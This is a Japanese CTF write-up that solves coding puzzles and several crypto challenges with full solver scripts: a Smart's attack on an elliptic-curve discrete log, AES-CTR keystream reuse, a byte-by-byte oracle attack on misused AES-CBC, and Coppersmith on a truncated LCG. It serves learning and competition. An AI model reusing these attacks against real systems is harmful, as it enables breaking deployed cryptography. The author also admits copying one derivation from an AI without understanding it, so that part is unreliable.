[coding] ClockWork Gurdian
(0,0)からスタートしてEまで移動するが、0は通れて1は通れないので、最短距離を求めよと言う問題。BFSすればよい。ちなみに、与えられていたサンプルは間違っていたので注意。
from collections import deque
input_text = input()
board = eval(input_text)
def bfs(board):
rows, cols = len(board), len(board[0])
directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]
queue = deque([(0, 0, 1)])
board[0][0] = 1
visited = set((0, 0))
while queue:
r, c, dist = queue.popleft()
if board[r][c] == 'E':
return dist
for dr, dc in directions:
nr, nc = r + dr, c + dc
if 0 <= nr < rows and 0 <= nc < cols and (nr, nc) not in visited and (board[nr][nc] == 0 or board[nr][nc] == 'E'):
visited.add((nr, nc))
queue.append((nr, nc, dist + 1))
return -1
distance = bfs(board) - 1
print(distance)
[coding] Dragon Flight
長さNの配列と初期値が与えられるので、Q個の以下クエリに答える。
U i x i番目の要素をxに変更Q l r [l,r]番目から任意の連続する部分列を取った時の値の総和の最大値を答える
何故か改行がスペースに変換されていて1hほど溶かした。許せぬ。愚直にやればよさそうな気もしたが、手が勝手にセグメントツリーを貼っていたので、ちょっとだけ高速化して出した。
#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
using namespace std;
void _main(); int main() { _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
#define def 0
using V = int;
template<int NV> struct SegTree {
V comp(V& l, V& r) { return l + r; };
vector<V> val; SegTree() { val = vector<V>(NV * 2, def); }
V get(int x, int y, int l = 0, int r = NV, int k = 1) {
if (r <= x || y <= l)return def; if (x <= l && r <= y)return val[k];
auto a = get(x, y, l, (l + r) / 2, k * 2);
auto b = get(x, y, (l + r) / 2, r, k * 2 + 1);
return comp(a, b);
}
void update(int i, V v) {
i += NV; val[i] = v;
while (i > 1) i >>= 1, val[i] = comp(val[i * 2], val[i * 2 + 1]);
}
V operator[](int x) { return get(x, x + 1); }
};
int N, Q;
int A[1010];
SegTree<1<<10> st;
void _main() {
cin >> N >> Q;
rep(i, 0, N) cin >> A[i];
rep(i, 0, N) st.update(i, A[i]);
rep(i, 0, Q) {
char q; cin >> q;
if (q == 'U') {
int id, x; cin >> id >> x;
id--;
st.update(id, x);
} else {
int l, r; cin >> l >> r;
l--;
int ans = -inf;
rep(ll, l, r) rep(rr, ll + 1, r + 1) {
chmax(ans, st.get(ll, rr));
}
cout << ans << endl;
}
}
}
[coding] Dragon Fury
2次元配列と数値Tが与えられるので、各配列から1つずつ要素を取り出して総和がTになるような取り出し方を答える。全通り試せばよく、DFSで実装した。なお、サンプルは間違っている。
attacks = eval(input())
T = eval(input())
def dfs(arr, tot):
i = len(arr)
if i == len(attacks):
if tot == T:
print(arr)
exit(0)
else:
return
else:
for nxt in attacks[i]:
dfs(arr + [nxt], tot + nxt)
dfs([], 0)
[coding] Enchanted Cipher
暗号化された文字列と、暗号化に利用した数の配列が与えられる。暗号化方式は5文字毎に指定の数アルファベットをローテーションさせるというもの。逆計算が可能なので、逆計算を実装する。
plaintext = input()
n = eval(input())
shifts = eval(input())
def once(c):
if c == 'a':
return 'z'
return chr(ord(c) - 1)
def rot(c, k):
for _ in range(k):
c = once(c)
return c
i = 0
j = 0
ans = ""
for c in plaintext:
if 'a' <= c and c <= 'z':
ans += rot(c, shifts[i])
j += 1
if j == 5:
i += 1
j = 0
else:
ans += c
print(ans)
[coding] Summoners Incantation
配列が与えられる。ここから、隣接して要素を取らないように任意の部分集合を取ったときの総和の最大値を答える。動的計画法で解ける。
dp[idx] := idx番目の要素までの配列から条件に合うよう部分集合を取ったときの総和の最大値
更新するときは、以下のようにやる。（dpが1-indexedみたいになってて、Aが0-indexedなのでかなり読みにくいので注意）
- dp[i] : 何も取らなかった
- dp[i - 1] + A[i] : i番目を取ったので、1つ飛ばしたdpの値で更新
の2つの選択肢があるので、これのmaxで更新してやればよい。
A = eval(input())
n = len(A)
dp = [-1010101010] * (n + 1)
dp[0] = 0
dp[1] = A[0]
for i in range(1, n):
dp[i + 1] = max(dp[i], dp[i - 1] + A[i])
print(dp[n])
[Crypto] Kewiri
The Grand Scholars of Eldoria have prepared a series of trials, each testing the depth of your understanding of the ancient mathematical arts. Those who answer wisely shall be granted insight, while the unworthy shall be cast into the void of ignorance. Will you rise to the challenge, or will your mind falter under the weight of forgotten knowledge?
The instance might take 1-2 minutes to start.
楕円曲線に関する問題を次々解いていく問題。同じ問題・同じ値で出題されることもあるが、同じ問題・ランダムな値になっていることもあり、また、制限時間がシビアなので自動化は必要。
[1] How many bits is the prime p?
p = 21214334341047589034959795830530169972304000967355896041112297190770972306665257150126981587914335537556050020788061
ans1 = str(p.bit_length())
入力固定。ビット数はbit_length()で求められる。
有限体Fpの位数を素因数分解して、指定の形で答える。Fpの位数はp-1なので、これを素因数分解して答える。sagemathならfactorで素因数分解可能。
factor_p_1 = sorted(factor(p-1))
ans2 = "_".join([f"{p},{e}" for p, e in factor_p_1])
[3] For this question, you will have to send 1 if the element is a generator of the finite field F_p, otherwise 0.
17問出るので自動化して答えさせる。生成元であるかを判定する。ラグランジュの定理を使う。生成元であれば、部分群の位数は、元の群の位数の約数になっているはずなので、約数の累乗を試して単位元になったら、それは生成元。
def is_generator(x):
for q in [q for q, _ in factor_p_1]:
if pow(x, (p-1) // q, p) == 1:
return "0"
return "1"
for _ in range(17):
x = int(sock.recvuntil("?")[:-1])
sock.sendlineafter("> ", is_generator(x))
[4] What is the order of the curve defined over F_p?
この問題以降はa,bが与えられ、楕円曲線上での問題になる。
a = 408179155510362278173926919850986501979230710105776636663982077437889191180248733396157541580929479690947601351140
b = 8133402404274856939573884604662224089841681915139687661374894548183248327840533912259514444213329514848143976390134
楕円曲線の位数を答える問題。sagemathならすぐ答えられる。
ans4 = str(EllipticCurve(GF(p), [a, b]).order())
F_{p^3}上での楕円曲線を考えて、位数を計算し、素因数分解せよという問題。普通にsagemathで楕円曲線を作ってorderを計算させると一生終わらない。
この章はまだちゃんと理解しておらず、Claudeが出してきた式変換をほとんど鵜呑みにして解いているので注意。
Weil の定理を使うと、拡大体の位数を元の素体の位数とトレースから計算が可能。
tはE(Fp)のトレースで、
と計算できるので、ここまでわかっている情報から以上を使えば位数を計算可能。位数の素因数分解も大変なのだが、
拡大体の楕円曲線の位数は、
- F_{p3}上の位数は元の位数N1と関連する因数を持つことがある
- p自身が拡大体の楕円曲線の位数の因数になることがある
らしく、やってみると今回はうまくいった。
order_p = EllipticCurve(GF(p), [a, b]).order()
t = p + 1 - order_p
order_p3 = p^3 + 1 - (t^3 - 3*p*t)
print(order_p3)
def efficient_factorization(N3, N1, p):
factors = []
if N3 % p == 0:
count = 0
while N3 % p == 0:
N3 //= p
count += 1
factors.append((p, count))
for q, e in factor(N1):
if N3 % q == 0:
count = 0
while N3 % q == 0:
N3 //= q
count += 1
factors.append((q, count))
for i in [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53]:
if N3 % i == 0:
count = 0
while N3 % i == 0:
N3 //= i
count += 1
factors.append((i, count))
if N3 > 1:
if is_prime(N3):
factors.append((N3, 1))
else:
pass
return "_".join([f"{p},{e}" for p, e in sorted(factors)])
ans5 = efficient_factorization(order_p3, order_p, p)
print(ans5)
何もわからんね。
[6] What is the value of d?
ECDLPを解け、という問題。条件は以下。
# The final trial awaits. You must uncover the hidden multiplier "d" such that A = d * G.
# ⚔️ The chosen base point G has x-coordinate: 107546349459651005975872325383826985515989511910775786764699593546253252508053539219972302088503050119092675418338771
# 🔮 The resulting point A has x-coordinate: 10950463717843814375205278636294792494701225369882994063093969457754683012877665538546537894814860175140875918843489
楕円曲線の位数を確認すると、
となっていたのでSSSA Attackが使える。ライブラリによっては計算が間に合わなかったが、別のライブラリを使うと間に合う。
G = E.lift_x(GF(p)(Gx))
A = E.lift_x(GF(p)(Ax))
def SmartAttack(P,Q,p):
E = P.curve()
Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])
P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
for P_Qp in P_Qps:
if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
break
Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
for Q_Qp in Q_Qps:
if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
break
p_times_P = p*P_Qp
p_times_Q = p*Q_Qp
x_P,y_P = p_times_P.xy()
x_Q,y_Q = p_times_Q.xy()
phi_P = -(x_P/y_P)
phi_Q = -(x_Q/y_Q)
k = phi_Q/phi_P
return ZZ(k)
d = SmartAttack(G, A, p)
ans6 = str(d)
理論は未だによく分からない所はあるが、実装はそんなに重くないのでシュッと書いてしまう方が良いのか。
ソルバ全体
from ptrlib import *
p = 21214334341047589034959795830530169972304000967355896041112297190770972306665257150126981587914335537556050020788061
ans1 = str(p.bit_length())
factor_p_1 = sorted(factor(p-1))
ans2 = "_".join([f"{p},{e}" for p, e in factor_p_1])
def is_generator(x):
for q in [q for q, _ in factor_p_1]:
if pow(x, (p-1) // q, p) == 1:
return "0"
return "1"
print(ans2)
a = 408179155510362278173926919850986501979230710105776636663982077437889191180248733396157541580929479690947601351140
b = 8133402404274856939573884604662224089841681915139687661374894548183248327840533912259514444213329514848143976390134
ans4 = str(EllipticCurve(GF(p), [a, b]).order())
order_p = EllipticCurve(GF(p), [a, b]).order()
t = p + 1 - order_p
order_p3 = p^3 + 1 - (t^3 - 3*p*t)
print(order_p3)
def efficient_factorization(N3, N1, p):
factors = []
if N3 % p == 0:
count = 0
while N3 % p == 0:
N3 //= p
count += 1
factors.append((p, count))
for q, e in factor(N1):
if N3 % q == 0:
count = 0
while N3 % q == 0:
N3 //= q
count += 1
factors.append((q, count))
for i in [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53]:
if N3 % i == 0:
count = 0
while N3 % i == 0:
N3 //= i
count += 1
factors.append((i, count))
if N3 > 1:
if is_prime(N3):
factors.append((N3, 1))
else:
pass
return "_".join([f"{p},{e}" for p, e in sorted(factors)])
ans5 = efficient_factorization(order_p3, order_p, p)
print(ans5)
sock = remote("[redacted]", [redacted])
sock.debug = True
sock.sendlineafter("> ", ans1)
sock.sendlineafter("> ", ans2)
sock.recvuntil("otherwise 0.\n")
for _ in range(17):
x = int(sock.recvuntil("?")[:-1])
sock.sendlineafter("> ", is_generator(x))
sock.sendlineafter("> ", ans4)
sock.sendlineafter("> ", ans5)
Gx = int(sock.recvlineafter("has x-coordinate: "))
Ax = int(sock.recvlineafter("has x-coordinate: "))
E = EllipticCurve(GF(p), [a, b])
print(Gx)
print(Ax)
G = E.lift_x(GF(p)(Gx))
A = E.lift_x(GF(p)(Ax))
def SmartAttack(P,Q,p):
E = P.curve()
Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])
P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
for P_Qp in P_Qps:
if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
break
Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
for Q_Qp in Q_Qps:
if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
break
p_times_P = p*P_Qp
p_times_Q = p*Q_Qp
x_P,y_P = p_times_P.xy()
x_Q,y_Q = p_times_Q.xy()
phi_P = -(x_P/y_P)
phi_Q = -(x_Q/y_Q)
k = phi_Q/phi_P
return ZZ(k)
d = SmartAttack(G, A, p)
ans6 = str(d)
sock.sendlineafter("> ", ans6)
sock.interactive()
まとめると以上で解ける。
[crypto] Traces
Long ago, a sacred message was sealed away, its meaning obscured by the overlapping echoes of its own magic. The careless work of an enchanter has left behind a flaw—a weakness hidden within repetition. With keen eyes and sharper wits, can you untangle the whispers of the past and restore the lost words?
ソースコードの大事な部分は以下。暗号化された会話が得られるサイトが与えられる。
def encrypt(self, msg):
encrypted_message = AES.new(self.key, AES.MODE_CTR, counter=Counter.new(128)).encrypt(msg)
return encrypted_message
AESのCTRモードで暗号化されて保存されるのだが、全ての会話で同じ鍵、同じカウンターが使われるので、同一のキーストリームが使われることになる。で、何をするかというと、キーストリームの1byteずつ全探索して、まともな文字列が出てくるように手動で根性復元していく。
from Crypto.Util.number import *
from Crypto.Util.strxor import *
messages = [
"2c81690e1490568638f2b4a537d8",
"2c81690e1490419d38edbfa638d19f",
"2c81690e1490409c39fab0a830d892d9",
"5a8a201e17df678533bfb9a13ccfdac2550fd984c00f69af0fd2368432dc447569293fa5b0b4867909a7c46beeba4baa75ae5553ac1fb8b6ea27fd2838166e7554ab50787d8cc8d2b449b96024d165ae09652a6a4037c14fbdddf2060676c1a8fb59419c20294ddaba87e3f7",
"4c8872081ad43cc903f7b7e43cd19fc0595a8ad4df0d68b412cf71c328d641302a6619a8f5e48c7e0eabc53fe3b553e826c75201bd57b3a0be64ef39380b3c750eee5f36788ccbd5b21aa46438882aad506f2c381732d05fbc9ae81d4f76dab0fb4e418821244f94b284e6bcaa5d4f0b6c3121524f18f2620929bec33ea3866178c65c005ada5df97d835e6cb73b060a64d3040d214aa14723d02bde5a615f57f45a048ef0c0f81a2a6346ac1fa8f268fa8156",
"44c876085fd2778c39bfa1b02cdb83c44e1ad980c40b27b514dd32c129995a75217d4bafb0fc806219e2d432a6b452b426fe4644bf56b9aced27e7233802726419ff587977df909dba07b02139c728ae046830245076d349b091f54e1424c1b6f91941b03d3a03daba9fe7b6f8570805637f21560a01ed3f0916ba9073a5907b2c885c010e9b42fc759a1f74ac7e1b1764c10f482657ea463e87368e51614d14ef5b0995ecc4bb05626d47fe51b4e868aa9d1ee91cb1dbb7ccb7ecb59238c190d47324f77485bcf87e86b461c0166681da67062550735565ae36a5c7757f1db3d0441a752cd6e5d101d1020894e27a91f934d90cae8fe4ed3f5b386d23f54ae71b95c89b30dba2b486ae0bfbcea745de77e66cd1f20e055bbab48f8852f62b69c9435a14e15a1be58c659c23ee44d204d55c095f3d5628a100dce20814b817929982e95cb88e97c9c14222b619b44aee40906c3dba40fb67c6dd",
"44c86d4d1edc608c36fbabe43acd95de53509a9cc90d6ca808db71cb2fcb1663376c07a1a2fb9b675da3d12aefb554b226fa5c44e95eb8baf762e0397b11797317f95565378cf5dbfb1dbc68398827ae116336241721d45ff58de71c1776c1bebe560fdf272447d1adcbf5b7e9544904713237481b41a1050e12b7c335bf9b7178d8411b15dd1fb550810a38b6384f113080081b7358e25c38863d8e5d6b5b5ba0414c9fec81ec142a6452a85afbe72dfa8017ab05a796f8998af0fa833ece99d47d66c63c8defbb7287a268c55a6180da6500224c7f556bec71eac234640d7133bf067f6885e89801df5712ddf67295f9678e00bd92e4f33c4e7b6a22f549ed1b89d88a62dbb8f18ab44eff85a779d76ef62bc0e955",
"5a8a200e1ede7c8623bfb3a23fd088c900159c87c51a66b50fd33f8a7af05030336102bef5fd9a2c1ce2d439e3ba44ae2aae4049ac51f6adf662ae05320474303be444787ac5d09aa849b26e38cb20b8506d38331737d95eb09ce2174334cbf8f15941903d3a03c0ad8af9b5a41c6d1c603172520708a13f441fb78f36a5813535c140001bd054b5719b0b74bb7e0b172bcd4107264ba14d3f8431dc56244f16ed454593e5cfb5515d6913b34aa8f22de99d16af00b096f6d8b7a4b58e32ded5d93b24cc699eefb96f8aa063c11660819c6c07225d691b6ae360af9537730cfd934800743884e8d948c34704d3",
"4897610e0bdc6bc777debca079da8cc84e5d90928c1962e114d93cc533d71665297a0ea8bbb48f630fe2d824f1f707b163ae5a44ac5bf6baf169fa243504797e1bf2116675cdd2cef5499d676adc2dae5043363f5935dc40f59be91c173fc8b1fb4441963c3b03d9be8cf9baeb500808642d204f0a1ff2600909bec330b980793c885f1b09de11f471971b6bac7e1b1764d4090d3a4ba15b258237c0546c431be4460adac6cebb066f2c5bbf49bea66caa811daa06ac9fb7cbbaa4b78530d586903262837982bbaa64c9a86b84426c81da791b38557b497ba271abc1303600e093580a782493e38b",
"548a73415fd2679d77e8b7e434ca89d900098b91cd1a27a8129c3eca36c0167134290aedb9f59a785db0d338e9a953e826c75201be5af6b8fd73e73b3a17793011ff116276c39cceb406ba2d6adf20eb02692a211724d05ab09cea070d318eb1ea444193272b42c0b684fef7aa755c4a6c2c724a0e0fe4204c1afb8220ecd55d0cea483708d253ca56861f7fb837011f1be519183f56e85c308431c15d5b7b1ef45d7bb1e7d8c43f656250bb6089e378f99759b4",
"4a806f0951905c8677edb7a736cd9e8d4f1bd99dd84e6ab415c871c122d04564676005eda1fc8c2c0ab0df3ff2be49e672e15944ba11f690be70e7213743797e0bfe437339cdd0d1fb1da66029cd36eb11723c6a5224d45fb099aa4e0238caf8f743418c20294fd8ff85f5afef4e0808607f21560006e4220911bdc33ca6907b34d11d5433dd11e17a915e7db13b020164c5170d2119ed4d308236dd136b4a57e94108daf5c4bb0663605ffe57baf068aa9c17e91aa798b9d7a7a4b98830d596d573",
"4c8872081ad43cc903f7b7e434d088c8000a9cd4c80774a213cf228433cd1a3033610eedb2e68c6d09a7c46bf2b342e674e7474ae71f93affb75f76d360c717516ff11617c8cd8d8b708ad2d6adc2dae5043363f5935dc40f58ef21c0638c9acf6520f8c682157c7ff8ff5bfef525b0f767172710a4dec395a0afb8230a2d56637c75d5418de57fa60915e77aa2c4f0f2dce05072419ee4e719f28de5c765802ee5c5083a2c2f71e796940f0",
"5a8a201e17df678533bfb7aa3d9f8ec5490ed999c90b73a808db71c534dd167d287f0eeda1fbc96d5dafd939e3fb54a365fb4644e94cb7b7fd73fb207543557658ff597370de9cd0ba0eb1726ac737eb0370302f4476d45eb0dde5020c25c7b6f9170891646857dcba92b0b4eb4508036b2b37540c08f1380911ae9173a19a673cdb1d542dde11f867870a38b1311b5830c10a0d734de94925d03bc6526a4f12ae15689ff681ef19637f13bc5afbf265efd214a81ab6dbbbdcb0f7bb87349b9cde7d70cb759fefa87188a2688a",
"2c83650c09d5",
"2c83650c09d5",
"2c83650c09d5"
]
known_stream = "0def006d7fb012e9579fd2c459bffaad207df9f4ac6e07c166bc51a45ab9361047096bcdd594e90c7dc2b64b86db27c6068e3421c93fd6d99e078e4d5b631c10788b311619acbcbddb69d4014aa845cb7000594a3756b52cd5fd866e6356aed89e3761ff484823b4dfeb90d98a3c286a055f52266f6d814c297edbe353d6f51558a833747abb319512f47e18df5e6f7844a061685339812851f058ae33042c77803524fa82a19b710a0c33de3fdb860d8af278c9"
'''
for c1 in "0123456789abcdef":
for c2 in "0123456789abcdef":
print(c1 + c2, "gogo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
for message in messages:
stream = known_stream + c1 + c2
min_len = min(len(message), len(stream))
encrepted = bytes.fromhex(message[:min_len])
keystream = bytes.fromhex(stream[:min_len])
print(strxor(encrepted, keystream))
'''
for message in messages:
stream = known_stream
min_len = min(len(message), len(stream))
encrepted = bytes.fromhex(message[:min_len])
keystream = bytes.fromhex(stream[:min_len])
print(strxor(encrepted, keystream))
こういう感じで… 自動化できるのか分からず全部自力で出力を見ながら1文字ずつ復元していった。しんどすぎる。
[crypto] Hourcle
A powerful enchantment meant to obscure has been carelessly repurposed, revealing more than it conceals. A fool sought security, yet created an opening for those who dare to peer beyond the illusion. Can you exploit the very spell meant to guard its secrets and twist it to your will?
問題ソースコードは以下。
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os, string, random, re
KEY = os.urandom(32)
password = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
def encrypt_creds(user):
padded = pad((user + password).encode(), 16)
IV = os.urandom(16)
cipher = AES.new(KEY, AES.MODE_CBC, iv=IV)
ciphertext = cipher.decrypt(padded)
return ciphertext
def admin_login(pwd):
return pwd == password
def show_menu():
return input('''
=========================================
|| ||
|| 🏰 Eldoria's Shadow Keep 🏰 ||
|| ||
|| [1] Seal Your Name in the Archives ||
|| [2] Enter the Forbidden Sanctum ||
|| [3] Depart from the Realm ||
|| ||
=========================================
Choose your path, traveler :: ''')
def main():
while True:
ch = show_menu()
print()
if ch == '1':
username = input('[+] Speak thy name, so it may be sealed in the archives :: ')
pattern = re.compile(r"^\w{16,}$")
if not pattern.match(username):
print('[-] The ancient scribes only accept proper names-no forbidden symbols allowed.')
continue
encrypted_creds = encrypt_creds(username)
print(f'[+] Thy credentials have been sealed in the encrypted scrolls: {encrypted_creds.hex()}')
elif ch == '2':
pwd = input('[+] Whisper the sacred incantation to enter the Forbidden Sanctum :: ')
if admin_login(pwd):
print(f"[+] The gates open before you, Keeper of Secrets! {open('flag.txt').read()}")
exit()
else:
print('[-] You salt not pass!')
elif ch == '3':
print('[+] Thou turnest away from the shadows and fade into the mist...')
exit()
else:
print('[-] The oracle does not understand thy words.')
if __name__ == '__main__':
main()
KalmarCTF 2025の[cry] Very Serious Cryptographyと全く同じ方針で解ける。説明大変なのでソルバだけ。
from ptrlib import *
import re, string
from Crypto.Util.strxor import *
sock = Process(["python3", "crypto_hourcle/server.py"])
dic = string.ascii_letters+string.digits
n = len(dic)
password = b""
for i in range(16):
username = b"A" * 16
for c in dic:
username += (b"A" * 15 + password)[-15:] + c.encode()
username += b"A" * 16
username += b"A" * (15 - i)
sock.sendlineafter("Choose your path, traveler :: ", "1")
sock.sendlineafter("[+] Speak thy name, so it may be sealed in the archives :: ", username)
encrypted_hex = sock.recvlineafter("encrypted scrolls: ").decode().strip()
encrypted = bytes.fromhex(encrypted_hex)
goal = strxor(encrypted[(1 + n + 1) * 16:(1 + n + 2) * 16], username[(n + 1) * 16:(1 + n + 1) * 16])
for i in range(n):
test = strxor(encrypted[(1 + i) * 16:(1 + i + 1) * 16], username[(i) * 16:(1 + i) * 16])
if test == goal:
password += dic[i].encode()
break
print(password)
password_post = b""
for i in range(4):
username = b"A" * 16
for c in dic:
username += (password + password_post)[-15:] + c.encode()
username += b"A" * (15 - i)
sock.sendlineafter("Choose your path, traveler :: ", "1")
sock.sendlineafter("[+] Speak thy name, so it may be sealed in the archives :: ", username)
encrypted_hex = sock.recvlineafter("encrypted scrolls: ").decode().strip()
encrypted = bytes.fromhex(encrypted_hex)
username += password
goal = strxor(encrypted[(1 + n + 1) * 16:(1 + n + 2) * 16], username[(n + 1) * 16:(1 + n + 1) * 16])
for i in range(n):
test = strxor(encrypted[(1 + i) * 16:(1 + i + 1) * 16], username[(i) * 16:(1 + i) * 16])
if test == goal:
password_post += dic[i].encode()
break
print(password_post)
ans = password + password_post
sock.sendlineafter("Choose your path, traveler :: ", "2")
sock.sendlineafter(" :: ", ans)
sock.interactive()
[crypto] Prelim
Cedric has now found yet another secret message, but he dropped it on the floor and it got all scrambled! Do you think you can find a way to undo it?
スクランブルされたメッセージから元のメッセージを復元し、暗号化されたフラグを復号する。ソースコードは以下。
from random import shuffle
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
n = 0x1337
e = 0x10001
def scramble(a, b):
return [b[a[i]] for i in range(n)]
def super_scramble(a, e):
b = list(range(n))
while e:
if e & 1:
b = scramble(b, a)
a = scramble(a, a)
e >>= 1
return b
message = list(range(n))
shuffle(message)
scrambled_message = super_scramble(message, e)
flag = pad(open('flag.txt', 'rb').read(), 16)
key = sha256(str(message).encode()).digest()
enc_flag = AES.new(key, AES.MODE_ECB).encrypt(flag).hex()
with open('tales.txt', 'w') as f:
f.write(f'{scrambled_message = }\n')
f.write(f'{enc_flag = }')
何か、パッと見て枠組みがRSA暗号っぽく、また巡回群になりそうな雰囲気もあったので、適当にdを計算してd回スクランブルするともとに戻った。どうやって位数を計算するかが問題だが、調べるとこういう並び替えの位数は対称群というらしい。で、対象群の位数はn!らしいので、これをphiとして使うとフラグが得られる。結構時間がかかる。
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import math
n = 0x1337
e = 0x10001
with open('crypto_prelim/tales.txt', 'r') as f:
lines = f.readlines()
exec(lines[0])
exec(lines[1])
def find_permutation_order():
order = 1
for i in range(1, n+1):
order = order * i
return order
def scramble(a, b):
return [b[a[i]] for i in range(n)]
def super_scramble(a, exp):
b = list(range(n))
while exp:
if exp & 1:
b = scramble(b, a)
a = scramble(a, a)
exp >>= 1
return b
order = find_permutation_order()
d = pow(e, -1, order)
recovered_message = super_scramble(scrambled_message, d)
key = sha256(str(recovered_message).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
decrypted_flag = cipher.decrypt(bytes.fromhex(enc_flag))
print(decrypted_flag)
[crypto] Copperbox
Cedric found a mysterious box made of pure copper in the old archive. He is convinced that it contains the secrets he is looking for, but he is unable to penetrate the metal case. Can you help?
source.pyを見てみよう。
import secrets
p = 0x31337313373133731337313373133731337313373133731337313373133732ad
a = 0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef
b = 0xdeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0de
def lcg(x, a, b):
while True:
yield (x := a*x + b)
flag = open('flag.txt', 'rb').read()
x = int.from_bytes(flag + secrets.token_bytes(30-len(flag)), 'big')
gen = lcg(x, a, b)
h1 = next(gen) * pow(next(gen), -1, p) % p
h2 = next(gen) * pow(next(gen), -1, p) % p
with open('output.txt', 'w') as o:
trunc = 48
o.write(f'hint1 = {h1 >> trunc}\n')
o.write(f'hint2 = {h2 >> trunc}\n')
線形合同法（LCG）という擬似乱数生成器が使用されて、一部がその一部が与えられているので、復元しようという問題。ビット数を計算してみる。
p = 0x31337313373133731337313373133731337313373133731337313373133732ad
a = 0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef
b = 0xdeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0de
また、ヒントがh1とh2の上位ビットであることを考え、不明部分をk1、k2とおいて整理すると、
h1 = (hint1 << 48) + k1
h2 = (hint2 << 48) + k2
と書けて、それぞれ48ビットの範囲にある。不明変数のビットが割と小さいので、タイトルも考慮してCoppersmithを考える。
まず、h1とh2の関係式を利用して、初期値xに関する方程式を作る。
h1 = ((a * x + b) * pow(a² * x + a * b + b, -1, p)) % p
h2 = ((a³ * x + a² * b + a * b + b) * pow(a⁴ * x + a³ * b + a² * b + a * b + b, -1, p)) % p
で、次にxが邪魔なので、xについて整理して、
num1 = (b * (1 - h1 * a - h1)) % p
denom1 = (h1 * a² - a) % p
x_from_eq1 = (num1 * pow(denom1, -1, p)) % p
num2 = (b * (a² + a + 1 - h2 * (a³ + a² + a + 1))) % p
denom2 = (h2 * a⁴ - a³) % p
x_from_eq2 = (num2 * pow(denom2, -1, p)) % p
これでx=になったので1つにできる。
x_from_eq1 = x_from_eq2
これで、h1,h2はk1,k2の式に書き換えられるので、式を整理すると、k1とk2のみを含む式が得られる。以下のように式が作れる。
p = 0x31337313373133731337313373133731337313373133731337313373133732ad
a = 0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef
b = 0xdeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0de
hint1 = 77759147870011250959067600299812670660963056658309113392093130
hint2 = 50608194198883881938583003429122755064581079722494357415324546
R.<k1, k2> = PolynomialRing(Zmod(p))
h1 = (hint1 << 48) + k1
h2 = (hint2 << 48) + k2
eq1_coef = (1 - h1 * a - h1) * (h2 * a^4 - a^3)
eq2_coef = (a^2 + a + 1 - h2 * (a^3 + a^2 + a + 1)) * (h1 * a^2 - a)
F = eq1_coef - eq2_coef
print(F)
# 1961982694225541880497360395061660634486286932178941068906468163113256678403*k1*k2 + 3276368611103736709462489514014829825373913247732426508837946011895121417131*k1 + 636635935351167158358283082314139370122759537883179877649535709106403505321*k2 + 1375724961246885531150427986583101825848232338574645178822111452960476131247
結果を見ると、k1*k2も出てきているが、これも1つの変数としてまとめて、k12,k1,k2の3つの未知変数で多変数Coppersmithをやる。
p = 0x31337313373133731337313373133731337313373133731337313373133732ad
load('coppersmith.sage')
Z.<kk12, kk1, kk2> = PolynomialRing(Zmod(p))
bounds = [2**100, 2**50, 2**50]
f = 1961982694225541880497360395061660634486286932178941068906468163113256678403*kk12 + 3276368611103736709462489514014829825373913247732426508837946011895121417131*kk1 + 636635935351167158358283082314139370122759537883179877649535709106403505321*kk2 + 1375724961246885531150427986583101825848232338574645178822111452960476131247
ret = small_roots(f, bounds, m=2, d=4)
if ret != []:
print(ret)
パラメタの指定方法が一生分からないが、m=2, d=4で解けた。（なんだこれ）これでk1,k2が求められたので、あとは逆計算をして、フラグを取得する。
p = 0x31337313373133731337313373133731337313373133731337313373133732ad
a = 0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef
b = 0xdeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0de
hint1 = 77759147870011250959067600299812670660963056658309113392093130
hint2 = 50608194198883881938583003429122755064581079722494357415324546
k1 = 53006259096585
k2 = 248699398699637
h1 = (hint1 << 48) + k1
h2 = (hint2 << 48) + k2
num = (b * (1 - h1 * a - h1)) % p
denom = (h1 * a**2 - a) % p
x = (num * pow(denom, -1, p)) % p
print(x.to_bytes(30, 'big'))
[web] Cyber Attack
